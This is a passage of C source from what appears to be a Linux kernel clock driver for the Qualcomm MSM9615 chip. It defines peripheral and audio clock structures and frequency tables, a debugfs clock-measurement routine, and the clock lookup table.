.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "usb_hsic_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 480000000),
CLK_INIT(usb_hsic_clk.c),
},
};
static struct branch_clk usb_hsic_hsio_cal_clk = {
.b = {
.ctl_reg = USB_HSIC_HSIO_CAL_CLK_CTL_REG,
.en_mask = BIT(0),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 8,
},
.parent = &cxo_clk.c,
.c = {
.dbg_name = "usb_hsic_hsio_cal_clk",
.ops = &clk_ops_branch,
CLK_INIT(usb_hsic_hsio_cal_clk.c),
},
};
/* Fast Peripheral Bus Clocks */
static struct branch_clk ce1_core_clk = {
.b = {
.ctl_reg = CE1_CORE_CLK_CTL_REG,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEC_REG,
.halt_bit = 27,
},
.c = {
.dbg_name = "ce1_core_clk",
.ops = &clk_ops_branch,
CLK_INIT(ce1_core_clk.c),
},
};
static struct branch_clk ce1_p_clk = {
.b = {
.ctl_reg = CE1_HCLK_CTL_REG,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEC_REG,
.halt_bit = 1,
},
.c = {
.dbg_name = "ce1_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(ce1_p_clk.c),
},
};
static struct branch_clk dma_bam_p_clk = {
.b = {
.ctl_reg = DMA_BAM_HCLK_CTL,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 12,
},
.c = {
.dbg_name = "dma_bam_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(dma_bam_p_clk.c),
},
};
static struct branch_clk gsbi1_p_clk = {
.b = {
.ctl_reg = GSBIn_HCLK_CTL_REG(1),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEA_REG,
.halt_bit = 11,
},
.c = {
.dbg_name = "gsbi1_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(gsbi1_p_clk.c),
},
};
static struct branch_clk gsbi2_p_clk = {
.b = {
.ctl_reg = GSBIn_HCLK_CTL_REG(2),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEA_REG,
.halt_bit = 7,
},
.c = {
.dbg_name = "gsbi2_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(gsbi2_p_clk.c),
},
};
static struct branch_clk gsbi3_p_clk = {
.b = {
.ctl_reg = GSBIn_HCLK_CTL_REG(3),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEA_REG,
.halt_bit = 3,
},
.c = {
.dbg_name = "gsbi3_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(gsbi3_p_clk.c),
},
};
static struct branch_clk gsbi4_p_clk = {
.b = {
.ctl_reg = GSBIn_HCLK_CTL_REG(4),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEB_REG,
.halt_bit = 27,
},
.c = {
.dbg_name = "gsbi4_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(gsbi4_p_clk.c),
},
};
static struct branch_clk gsbi5_p_clk = {
.b = {
.ctl_reg = GSBIn_HCLK_CTL_REG(5),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_CFPB_STATEB_REG,
.halt_bit = 23,
},
.c = {
.dbg_name = "gsbi5_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(gsbi5_p_clk.c),
},
};
static struct branch_clk usb_hs1_p_clk = {
.b = {
.ctl_reg = USB_HS1_HCLK_CTL_REG,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 1,
},
.c = {
.dbg_name = "usb_hs1_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(usb_hs1_p_clk.c),
},
};
static struct branch_clk usb_hsic_p_clk = {
.b = {
.ctl_reg = USB_HSIC_HCLK_CTL_REG,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 3,
},
.c = {
.dbg_name = "usb_hsic_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(usb_hsic_p_clk.c),
},
};
static struct branch_clk sdc1_p_clk = {
.b = {
.ctl_reg = SDCn_HCLK_CTL_REG(1),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 11,
},
.c = {
.dbg_name = "sdc1_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(sdc1_p_clk.c),
},
};
static struct branch_clk sdc2_p_clk = {
.b = {
.ctl_reg = SDCn_HCLK_CTL_REG(2),
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 10,
},
.c = {
.dbg_name = "sdc2_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(sdc2_p_clk.c),
},
};
/* HW-Voteable Clocks */
static struct branch_clk adm0_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(2),
.halt_reg = CLK_HALT_MSS_KPSS_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 14,
},
.c = {
.dbg_name = "adm0_clk",
.ops = &clk_ops_branch,
CLK_INIT(adm0_clk.c),
},
};
static struct branch_clk adm0_p_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(3),
.halt_reg = CLK_HALT_MSS_KPSS_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 13,
},
.c = {
.dbg_name = "adm0_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(adm0_p_clk.c),
},
};
static struct branch_clk pmic_arb0_p_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(8),
.halt_reg = CLK_HALT_SFPB_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 22,
},
.c = {
.dbg_name = "pmic_arb0_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(pmic_arb0_p_clk.c),
},
};
static struct branch_clk pmic_arb1_p_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(9),
.halt_reg = CLK_HALT_SFPB_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 21,
},
.c = {
.dbg_name = "pmic_arb1_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(pmic_arb1_p_clk.c),
},
};
static struct branch_clk pmic_ssbi2_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(7),
.halt_reg = CLK_HALT_SFPB_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 23,
},
.c = {
.dbg_name = "pmic_ssbi2_clk",
.ops = &clk_ops_branch,
CLK_INIT(pmic_ssbi2_clk.c),
},
};
static struct branch_clk rpm_msg_ram_p_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(6),
.halt_reg = CLK_HALT_SFPB_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 12,
},
.c = {
.dbg_name = "rpm_msg_ram_p_clk",
.ops = &clk_ops_branch,
CLK_INIT(rpm_msg_ram_p_clk.c),
},
};
/*
* Low Power Audio Clocks
*/
#define F_AIF_OSR(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD8(8, m, 0, n), \
.ns_val = NS(31, 24, n, m, 5, 4, 3, d, 2, 0, s##_to_lpa_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_aif_osr[] = {
F_AIF_OSR( 0, gnd, 1, 0, 0),
F_AIF_OSR( 512000, pll4, 4, 1, 192),
F_AIF_OSR( 768000, pll4, 4, 1, 128),
F_AIF_OSR( 1024000, pll4, 4, 1, 96),
F_AIF_OSR( 1536000, pll4, 4, 1, 64),
F_AIF_OSR( 2048000, pll4, 4, 1, 48),
F_AIF_OSR( 3072000, pll4, 4, 1, 32),
F_AIF_OSR( 4096000, pll4, 4, 1, 24),
F_AIF_OSR( 6144000, pll4, 4, 1, 16),
F_AIF_OSR( 8192000, pll4, 4, 1, 12),
F_AIF_OSR(12288000, pll4, 4, 1, 8),
F_AIF_OSR(24576000, pll4, 4, 1, 4),
F_END
};
#define CLK_AIF_OSR(i, ns, md, h_r) \
struct rcg_clk i##_clk = { \
.b = { \
.ctl_reg = ns, \
.en_mask = BIT(17), \
.reset_reg = ns, \
.reset_mask = BIT(19), \
.halt_reg = h_r, \
.halt_check = ENABLE, \
.halt_bit = 1, \
}, \
.ns_reg = ns, \
.md_reg = md, \
.root_en_mask = BIT(9), \
.ns_mask = (BM(31, 24) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = clk_tbl_aif_osr, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_rcg_9615, \
CLK_INIT(i##_clk.c), \
}, \
}
#define CLK_AIF_OSR_DIV(i, ns, md, h_r) \
struct rcg_clk i##_clk = { \
.b = { \
.ctl_reg = ns, \
.en_mask = BIT(21), \
.reset_reg = ns, \
.reset_mask = BIT(23), \
.halt_reg = h_r, \
.halt_check = ENABLE, \
.halt_bit = 1, \
}, \
.ns_reg = ns, \
.md_reg = md, \
.root_en_mask = BIT(9), \
.ns_mask = (BM(31, 24) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = clk_tbl_aif_osr, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_rcg_9615, \
CLK_INIT(i##_clk.c), \
}, \
}
#define CLK_AIF_BIT(i, ns, h_r) \
struct cdiv_clk i##_clk = { \
.b = { \
.ctl_reg = ns, \
.en_mask = BIT(15), \
.halt_reg = h_r, \
.halt_check = DELAY, \
}, \
.ns_reg = ns, \
.ext_mask = BIT(14), \
.div_offset = 10, \
.max_div = 16, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_cdiv, \
CLK_INIT(i##_clk.c), \
}, \
}
#define CLK_AIF_BIT_DIV(i, ns, h_r) \
struct cdiv_clk i##_clk = { \
.b = { \
.ctl_reg = ns, \
.en_mask = BIT(19), \
.halt_reg = h_r, \
.halt_check = ENABLE, \
}, \
.ns_reg = ns, \
.ext_mask = BIT(18), \
.div_offset = 10, \
.max_div = 256, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_cdiv, \
CLK_INIT(i##_clk.c), \
}, \
}
static CLK_AIF_OSR(mi2s_osr, LCC_MI2S_NS_REG, LCC_MI2S_MD_REG,
LCC_MI2S_STATUS_REG);
static CLK_AIF_BIT(mi2s_bit, LCC_MI2S_NS_REG, LCC_MI2S_STATUS_REG);
static CLK_AIF_OSR_DIV(codec_i2s_mic_osr, LCC_CODEC_I2S_MIC_NS_REG,
LCC_CODEC_I2S_MIC_MD_REG, LCC_CODEC_I2S_MIC_STATUS_REG);
static CLK_AIF_BIT_DIV(codec_i2s_mic_bit, LCC_CODEC_I2S_MIC_NS_REG,
LCC_CODEC_I2S_MIC_STATUS_REG);
static CLK_AIF_OSR_DIV(spare_i2s_mic_osr, LCC_SPARE_I2S_MIC_NS_REG,
LCC_SPARE_I2S_MIC_MD_REG, LCC_SPARE_I2S_MIC_STATUS_REG);
static CLK_AIF_BIT_DIV(spare_i2s_mic_bit, LCC_SPARE_I2S_MIC_NS_REG,
LCC_SPARE_I2S_MIC_STATUS_REG);
static CLK_AIF_OSR_DIV(codec_i2s_spkr_osr, LCC_CODEC_I2S_SPKR_NS_REG,
LCC_CODEC_I2S_SPKR_MD_REG, LCC_CODEC_I2S_SPKR_STATUS_REG);
static CLK_AIF_BIT_DIV(codec_i2s_spkr_bit, LCC_CODEC_I2S_SPKR_NS_REG,
LCC_CODEC_I2S_SPKR_STATUS_REG);
static CLK_AIF_OSR_DIV(spare_i2s_spkr_osr, LCC_SPARE_I2S_SPKR_NS_REG,
LCC_SPARE_I2S_SPKR_MD_REG, LCC_SPARE_I2S_SPKR_STATUS_REG);
static CLK_AIF_BIT_DIV(spare_i2s_spkr_bit, LCC_SPARE_I2S_SPKR_NS_REG,
LCC_SPARE_I2S_SPKR_STATUS_REG);
#define F_PCM(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD16(m, n), \
.ns_val = NS(31, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_lpa_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_pcm[] = {
F_PCM( 0, gnd, 1, 0, 0),
F_PCM( 512000, pll4, 4, 1, 192),
F_PCM( 768000, pll4, 4, 1, 128),
F_PCM( 1024000, pll4, 4, 1, 96),
F_PCM( 1536000, pll4, 4, 1, 64),
F_PCM( 2048000, pll4, 4, 1, 48),
F_PCM( 3072000, pll4, 4, 1, 32),
F_PCM( 4096000, pll4, 4, 1, 24),
F_PCM( 6144000, pll4, 4, 1, 16),
F_PCM( 8192000, pll4, 4, 1, 12),
F_PCM(12288000, pll4, 4, 1, 8),
F_PCM(24576000, pll4, 4, 1, 4),
F_END
};
static struct rcg_clk pcm_clk = {
.b = {
.ctl_reg = LCC_PCM_NS_REG,
.en_mask = BIT(11),
.reset_reg = LCC_PCM_NS_REG,
.reset_mask = BIT(13),
.halt_reg = LCC_PCM_STATUS_REG,
.halt_check = ENABLE,
.halt_bit = 0,
},
.ns_reg = LCC_PCM_NS_REG,
.md_reg = LCC_PCM_MD_REG,
.root_en_mask = BIT(9),
.ns_mask = (BM(31, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_pcm,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "pcm_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 24576000),
CLK_INIT(pcm_clk.c),
},
};
static struct rcg_clk audio_slimbus_clk = {
.b = {
.ctl_reg = LCC_SLIMBUS_NS_REG,
.en_mask = BIT(10),
.reset_reg = LCC_AHBEX_BRANCH_CTL_REG,
.reset_mask = BIT(5),
.halt_reg = LCC_SLIMBUS_STATUS_REG,
.halt_check = ENABLE,
.halt_bit = 0,
},
.ns_reg = LCC_SLIMBUS_NS_REG,
.md_reg = LCC_SLIMBUS_MD_REG,
.root_en_mask = BIT(9),
.ns_mask = (BM(31, 24) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_aif_osr,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "audio_slimbus_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 24576000),
CLK_INIT(audio_slimbus_clk.c),
},
};
static struct branch_clk sps_slimbus_clk = {
.b = {
.ctl_reg = LCC_SLIMBUS_NS_REG,
.en_mask = BIT(12),
.halt_reg = LCC_SLIMBUS_STATUS_REG,
.halt_check = ENABLE,
.halt_bit = 1,
},
.parent = &audio_slimbus_clk.c,
.c = {
.dbg_name = "sps_slimbus_clk",
.ops = &clk_ops_branch,
CLK_INIT(sps_slimbus_clk.c),
},
};
static struct branch_clk slimbus_xo_src_clk = {
.b = {
.ctl_reg = SLIMBUS_XO_SRC_CLK_CTL_REG,
.en_mask = BIT(2),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 28,
},
.parent = &sps_slimbus_clk.c,
.c = {
.dbg_name = "slimbus_xo_src_clk",
.ops = &clk_ops_branch,
CLK_INIT(slimbus_xo_src_clk.c),
},
};
DEFINE_CLK_RPM(cfpb_clk, cfpb_a_clk, CFPB, NULL);
DEFINE_CLK_RPM(dfab_clk, dfab_a_clk, DAYTONA_FABRIC, NULL);
DEFINE_CLK_RPM(ebi1_clk, ebi1_a_clk, EBI1, NULL);
DEFINE_CLK_RPM(sfab_clk, sfab_a_clk, SYSTEM_FABRIC, NULL);
DEFINE_CLK_RPM(sfpb_clk, sfpb_a_clk, SFPB, NULL);
static DEFINE_CLK_VOTER(dfab_usb_hs_clk, &dfab_clk.c);
static DEFINE_CLK_VOTER(dfab_sdc1_clk, &dfab_clk.c);
static DEFINE_CLK_VOTER(dfab_sdc2_clk, &dfab_clk.c);
static DEFINE_CLK_VOTER(dfab_sps_clk, &dfab_clk.c);
static DEFINE_CLK_VOTER(dfab_bam_dmux_clk, &dfab_clk.c);
static DEFINE_CLK_VOTER(ebi1_msmbus_clk, &ebi1_clk.c);
/*
* TODO: replace dummy_clk below with ebi1_clk.c once the
* bus driver starts voting on ebi1 rates.
*/
static DEFINE_CLK_VOTER(ebi1_adm_clk, &dummy_clk);
#ifdef CONFIG_DEBUG_FS
struct measure_sel {
u32 test_vector;
struct clk *clk;
};
static struct measure_sel measure_mux[] = {
{ TEST_PER_LS(0x08), &slimbus_xo_src_clk.c },
{ TEST_PER_LS(0x12), &sdc1_p_clk.c },
{ TEST_PER_LS(0x13), &sdc1_clk.c },
{ TEST_PER_LS(0x14), &sdc2_p_clk.c },
{ TEST_PER_LS(0x15), &sdc2_clk.c },
{ TEST_PER_LS(0x1F), &gp0_clk.c },
{ TEST_PER_LS(0x20), &gp1_clk.c },
{ TEST_PER_LS(0x21), &gp2_clk.c },
{ TEST_PER_LS(0x26), &pmem_clk.c },
{ TEST_PER_LS(0x25), &dfab_clk.c },
{ TEST_PER_LS(0x25), &dfab_a_clk.c },
{ TEST_PER_LS(0x32), &dma_bam_p_clk.c },
{ TEST_PER_LS(0x33), &cfpb_clk.c },
{ TEST_PER_LS(0x33), &cfpb_a_clk.c },
{ TEST_PER_LS(0x3E), &gsbi1_uart_clk.c },
{ TEST_PER_LS(0x3F), &gsbi1_qup_clk.c },
{ TEST_PER_LS(0x41), &gsbi2_p_clk.c },
{ TEST_PER_LS(0x42), &gsbi2_uart_clk.c },
{ TEST_PER_LS(0x44), &gsbi2_qup_clk.c },
{ TEST_PER_LS(0x45), &gsbi3_p_clk.c },
{ TEST_PER_LS(0x46), &gsbi3_uart_clk.c },
{ TEST_PER_LS(0x48), &gsbi3_qup_clk.c },
{ TEST_PER_LS(0x49), &gsbi4_p_clk.c },
{ TEST_PER_LS(0x4A), &gsbi4_uart_clk.c },
{ TEST_PER_LS(0x4C), &gsbi4_qup_clk.c },
{ TEST_PER_LS(0x4D), &gsbi5_p_clk.c },
{ TEST_PER_LS(0x4E), &gsbi5_uart_clk.c },
{ TEST_PER_LS(0x50), &gsbi5_qup_clk.c },
{ TEST_PER_LS(0x78), &sfpb_clk.c },
{ TEST_PER_LS(0x78), &sfpb_a_clk.c },
{ TEST_PER_LS(0x7A), &pmic_ssbi2_clk.c },
{ TEST_PER_LS(0x7B), &pmic_arb0_p_clk.c },
{ TEST_PER_LS(0x7C), &pmic_arb1_p_clk.c },
{ TEST_PER_LS(0x7D), &prng_clk.c },
{ TEST_PER_LS(0x7F), &rpm_msg_ram_p_clk.c },
{ TEST_PER_LS(0x80), &adm0_p_clk.c },
{ TEST_PER_LS(0x84), &usb_hs1_p_clk.c },
{ TEST_PER_LS(0x85), &usb_hs1_xcvr_clk.c },
{ TEST_PER_LS(0x86), &usb_hsic_sys_clk.c },
{ TEST_PER_LS(0x87), &usb_hsic_p_clk.c },
{ TEST_PER_LS(0x88), &usb_hsic_xcvr_clk.c },
{ TEST_PER_LS(0x8B), &usb_hsic_hsio_cal_clk.c },
{ TEST_PER_LS(0x8D), &usb_hs1_sys_clk.c },
{ TEST_PER_LS(0x92), &ce1_p_clk.c },
{ TEST_PER_HS(0x18), &sfab_clk.c },
{ TEST_PER_HS(0x18), &sfab_a_clk.c },
{ TEST_PER_LS(0xA4), &ce1_core_clk.c },
{ TEST_PER_HS(0x2A), &adm0_clk.c },
{ TEST_PER_HS(0x34), &ebi1_clk.c },
{ TEST_PER_HS(0x34), &ebi1_a_clk.c },
{ TEST_PER_HS(0x3E), &usb_hsic_clk.c },
{ TEST_LPA(0x0F), &mi2s_bit_clk.c },
{ TEST_LPA(0x10), &codec_i2s_mic_bit_clk.c },
{ TEST_LPA(0x11), &codec_i2s_spkr_bit_clk.c },
{ TEST_LPA(0x12), &spare_i2s_mic_bit_clk.c },
{ TEST_LPA(0x13), &spare_i2s_spkr_bit_clk.c },
{ TEST_LPA(0x14), &pcm_clk.c },
{ TEST_LPA(0x1D), &audio_slimbus_clk.c },
};
static struct measure_sel *find_measure_sel(struct clk *clk)
{
int i;
for (i = 0; i < ARRAY_SIZE(measure_mux); i++)
if (measure_mux[i].clk == clk)
return &measure_mux[i];
return NULL;
}
static int measure_clk_set_parent(struct clk *c, struct clk *parent)
{
int ret = 0;
u32 clk_sel;
struct measure_sel *p;
struct measure_clk *clk = to_measure_clk(c);
unsigned long flags;
if (!parent)
return -EINVAL;
p = find_measure_sel(parent);
if (!p)
return -EINVAL;
spin_lock_irqsave(&local_clock_reg_lock, flags);
/*
* Program the test vector, measurement period (sample_ticks)
* and scaling multiplier.
*/
clk->sample_ticks = 0x10000;
clk_sel = p->test_vector & TEST_CLK_SEL_MASK;
clk->multiplier = 1;
switch (p->test_vector >> TEST_TYPE_SHIFT) {
case TEST_TYPE_PER_LS:
writel_relaxed(0x4030D00|BVAL(7, 0, clk_sel), CLK_TEST_REG);
break;
case TEST_TYPE_PER_HS:
writel_relaxed(0x4020000|BVAL(16, 10, clk_sel), CLK_TEST_REG);
break;
case TEST_TYPE_LPA:
writel_relaxed(0x4030D98, CLK_TEST_REG);
writel_relaxed(BVAL(6, 1, clk_sel)|BIT(0),
LCC_CLK_LS_DEBUG_CFG_REG);
break;
default:
ret = -EPERM;
}
/* Make sure test vector is set before starting measurements. */
mb();
spin_unlock_irqrestore(&local_clock_reg_lock, flags);
return ret;
}
/* Sample clock for 'ticks' reference clock ticks. */
static unsigned long run_measurement(unsigned ticks)
{
/* Stop counters and set the XO4 counter start value. */
writel_relaxed(ticks, RINGOSC_TCXO_CTL_REG);
/* Wait for timer to become ready. */
while ((readl_relaxed(RINGOSC_STATUS_REG) & BIT(25)) != 0)
cpu_relax();
/* Run measurement and wait for completion. */
writel_relaxed(BIT(28)|ticks, RINGOSC_TCXO_CTL_REG);
while ((readl_relaxed(RINGOSC_STATUS_REG) & BIT(25)) == 0)
cpu_relax();
/* Stop counters. */
writel_relaxed(0x0, RINGOSC_TCXO_CTL_REG);
/* Return measured ticks. */
return readl_relaxed(RINGOSC_STATUS_REG) & BM(24, 0);
}
/* Perform a hardware rate measurement for a given clock.
FOR DEBUG USE ONLY: Measurements take ~15 ms! */
static unsigned long measure_clk_get_rate(struct clk *c)
{
unsigned long flags;
u32 pdm_reg_backup, ringosc_reg_backup;
u64 raw_count_short, raw_count_full;
struct measure_clk *clk = to_measure_clk(c);
unsigned ret;
spin_lock_irqsave(&local_clock_reg_lock, flags);
/* Enable CXO/4 and RINGOSC branch and root. */
pdm_reg_backup = readl_relaxed(PDM_CLK_NS_REG);
ringosc_reg_backup = readl_relaxed(RINGOSC_NS_REG);
writel_relaxed(0x2898, PDM_CLK_NS_REG);
writel_relaxed(0xA00, RINGOSC_NS_REG);
/*
* The ring oscillator counter will not reset if the measured clock
* is not running. To detect this, run a short measurement before
* the full measurement. If the raw results of the two are the same
* then the clock must be off.
*/
/* Run a short measurement. (~1 ms) */
raw_count_short = run_measurement(0x1000);
/* Run a full measurement. (~14 ms) */
raw_count_full = run_measurement(clk->sample_ticks);
writel_relaxed(ringosc_reg_backup, RINGOSC_NS_REG);
writel_relaxed(pdm_reg_backup, PDM_CLK_NS_REG);
/* Return 0 if the clock is off. */
if (raw_count_full == raw_count_short)
ret = 0;
else {
/* Compute rate in Hz. */
raw_count_full = ((raw_count_full * 10) + 15) * 4800000;
do_div(raw_count_full, ((clk->sample_ticks * 10) + 35));
ret = (raw_count_full * clk->multiplier);
}
/* Route dbg_hs_clk to PLLTEST. 300mV single-ended amplitude. */
writel_relaxed(0x38F8, PLLTEST_PAD_CFG_REG);
spin_unlock_irqrestore(&local_clock_reg_lock, flags);
return ret;
}
#else /* !CONFIG_DEBUG_FS */
static int measure_clk_set_parent(struct clk *clk, struct clk *parent)
{
return -EINVAL;
}
static unsigned long measure_clk_get_rate(struct clk *clk)
{
return 0;
}
#endif /* CONFIG_DEBUG_FS */
static struct clk_ops measure_clk_ops = {
.set_parent = measure_clk_set_parent,
.get_rate = measure_clk_get_rate,
.is_local = local_clk_is_local,
};
static struct measure_clk measure_clk = {
.c = {
.dbg_name = "measure_clk",
.ops = &measure_clk_ops,
CLK_INIT(measure_clk.c),
},
.multiplier = 1,
};
static struct clk_lookup msm_clocks_9615[] = {
CLK_LOOKUP("cxo", cxo_clk.c, NULL),
CLK_LOOKUP("pll0", pll0_clk.c, NULL),
CLK_LOOKUP("pll8", pll8_clk.c, NULL),
CLK_LOOKUP("pll9", pll9_clk.c, NULL),
CLK_LOOKUP("pll14", pll14_clk.c, NULL),
CLK_LOOKUP("pll0", pll0_acpu_clk.c, "acpu"),
CLK_LOOKUP("pll8", pll8_acpu_clk.c, "acpu"),
CLK_LOOKUP("pll9", pll9_acpu_clk.c, "acpu"),
CLK_LOOKUP("measure", measure_clk.c, "debug"),
CLK_LOOKUP("bus_clk", sfab_clk.c, "msm_sys_fab"),
CLK_LOOKUP("bus_a_clk", sfab_a_clk.c, "msm_sys_fab"),
CLK_LOOKUP("mem_clk", ebi1_msmbus_clk.c, "msm_bus"),
CLK_LOOKUP("mem_a_clk", ebi1_a_clk.c, "msm_bus"),
CLK_LOOKUP("bus_clk", sfpb_clk.c, NULL),
CLK_LOOKUP("bus_a_clk", sfpb_a_clk.c, NULL),
CLK_LOOKUP("bus_clk", cfpb_clk.c, NULL),
CLK_LOOKUP("bus_a_clk", cfpb_a_clk.c, NULL),
CLK_LOOKUP("ebi1_clk", ebi1_clk.c, NULL),
CLK_LOOKUP("dfab_clk", dfab_clk.c, NULL),
CLK_LOOKUP("dfab_a_clk", dfab_a_clk.c, NULL),
CLK_LOOKUP("core_clk", gp0_clk.c, NULL),
CLK_LOOKUP("core_clk", gp1_clk.c, NULL),
CLK_LOOKUP("core_clk", gp2_clk.c, NULL),
CLK_LOOKUP("core_clk", gsbi3_uart_clk.c, NULL),
CLK_LOOKUP("core_clk", gsbi4_uart_clk.c, "msm_serial_hsl.0"),
CLK_LOOKUP("core_clk", gsbi5_uart_clk.c, NULL),
CLK_LOOKUP("core_clk", gsbi3_qup_clk.c, "spi_qsd.0"),
CLK_LOOKUP("core_clk", gsbi4_qup_clk.c, NULL),
CLK_LOOKUP("core_clk", gsbi5_qup_clk.c, "qup_i2c.0"),
CLK_LOOKUP("core_clk", pdm_clk.c, NULL),
CLK_LOOKUP("mem_clk", pmem_clk.c, "msm_sps"),
CLK_LOOKUP("core_clk", prng_clk.c, "msm_rng.0"),
CLK_LOOKUP("core_clk", sdc1_clk.c, "msm_sdcc.1"),
CLK_LOOKUP("core_clk", sdc2_clk.c, "msm_sdcc.2"),
CLK_LOOKUP("iface_clk", ce1_p_clk.c, NULL),
CLK_LOOKUP("core_clk", ce1_core_clk.c, NULL),
CLK_LOOKUP("dma_bam_pclk", dma_bam_p_clk.c, NULL),
CLK_LOOKUP("iface_clk", gsbi3_p_clk.c, "spi_qsd.0"),
CLK_LOOKUP("iface_clk", gsbi4_p_clk.c, "msm_serial_hsl.0"),
CLK_LOOKUP("iface_clk", gsbi5_p_clk.c, "qup_i2c.0"),
CLK_LOOKUP("usb_hs_pclk", usb_hs1_p_clk.c, NULL),
CLK_LOOKUP("usb_hs_system_clk", usb_hs1_sys_clk.c, NULL),
CLK_LOOKUP("usb_hs_clk", usb_hs1_xcvr_clk.c, NULL),
CLK_LOOKUP("usb_hsic_xcvr_clk", usb_hsic_xcvr_clk.c, NULL),
CLK_LOOKUP("usb_hsic_hsio_cal_clk", usb_hsic_hsio_cal_clk.c, NULL),
CLK_LOOKUP("usb_hsic_sys_clk", usb_hsic_sys_clk.c, NULL),
CLK_LOOKUP("usb_hsic_p_clk", usb_hsic_p_clk.c, NULL),
CLK_LOOKUP("usb_hsic_clk", usb_hsic_clk.c, NULL),
CLK_LOOKUP("iface_clk", sdc1_p_clk.c, "msm_sdcc.1"),
CLK_LOOKUP("iface_clk", sdc2_p_clk.c, "msm_sdcc.2"),
CLK_LOOKUP("core_clk", adm0_clk.c, "msm_dmov"),
CLK_LOOKUP("iface_clk", adm0_p_clk.c, "msm_dmov"),
CLK_LOOKUP("iface_clk", pmic_arb0_p_clk.c, NULL),
CLK_LOOKUP("iface_clk", pmic_arb1_p_clk.c, NULL),
CLK_LOOKUP("core_clk", pmic_ssbi2_clk.c, NULL),
CLK_LOOKUP("mem_clk", rpm_msg_ram_p_clk.c, NULL),
CLK_LOOKUP("mi2s_bit_clk", mi2s_bit_clk.c, NULL),
CLK_LOOKUP("mi2s_osr_clk", mi2s_osr_clk.c, NULL),
CLK_LOOKUP("i2s_mic_bit_clk", codec_i2s_mic_bit_clk.c, NULL),
CLK_LOOKUP("i2s_mic_osr_clk", codec_i2s_mic_osr_clk.c, NULL),
CLK_LOOKUP("i2s_mic_bit_clk", spare_i2s_mic_bit_clk.c, NULL),
CLK_LOOKUP("i2s_mic_osr_clk", spare_i2s_mic_osr_clk.c, NULL),
CLK_LOOKUP("i2s_spkr_bit_clk", codec_i2s_spkr_bit_clk.c, NULL),
CLK_LOOKUP("i2s_spkr_osr_clk", codec_i2s_spkr_osr_clk.c, NULL),
CLK_LOOKUP("i2s_spkr_bit_clk", spare_i2s_spkr_bit_clk.c, NULL),
CLK_LOOKUP("i2s_spkr_osr_clk", spare_i2s_spkr_osr_clk.c, NULL),
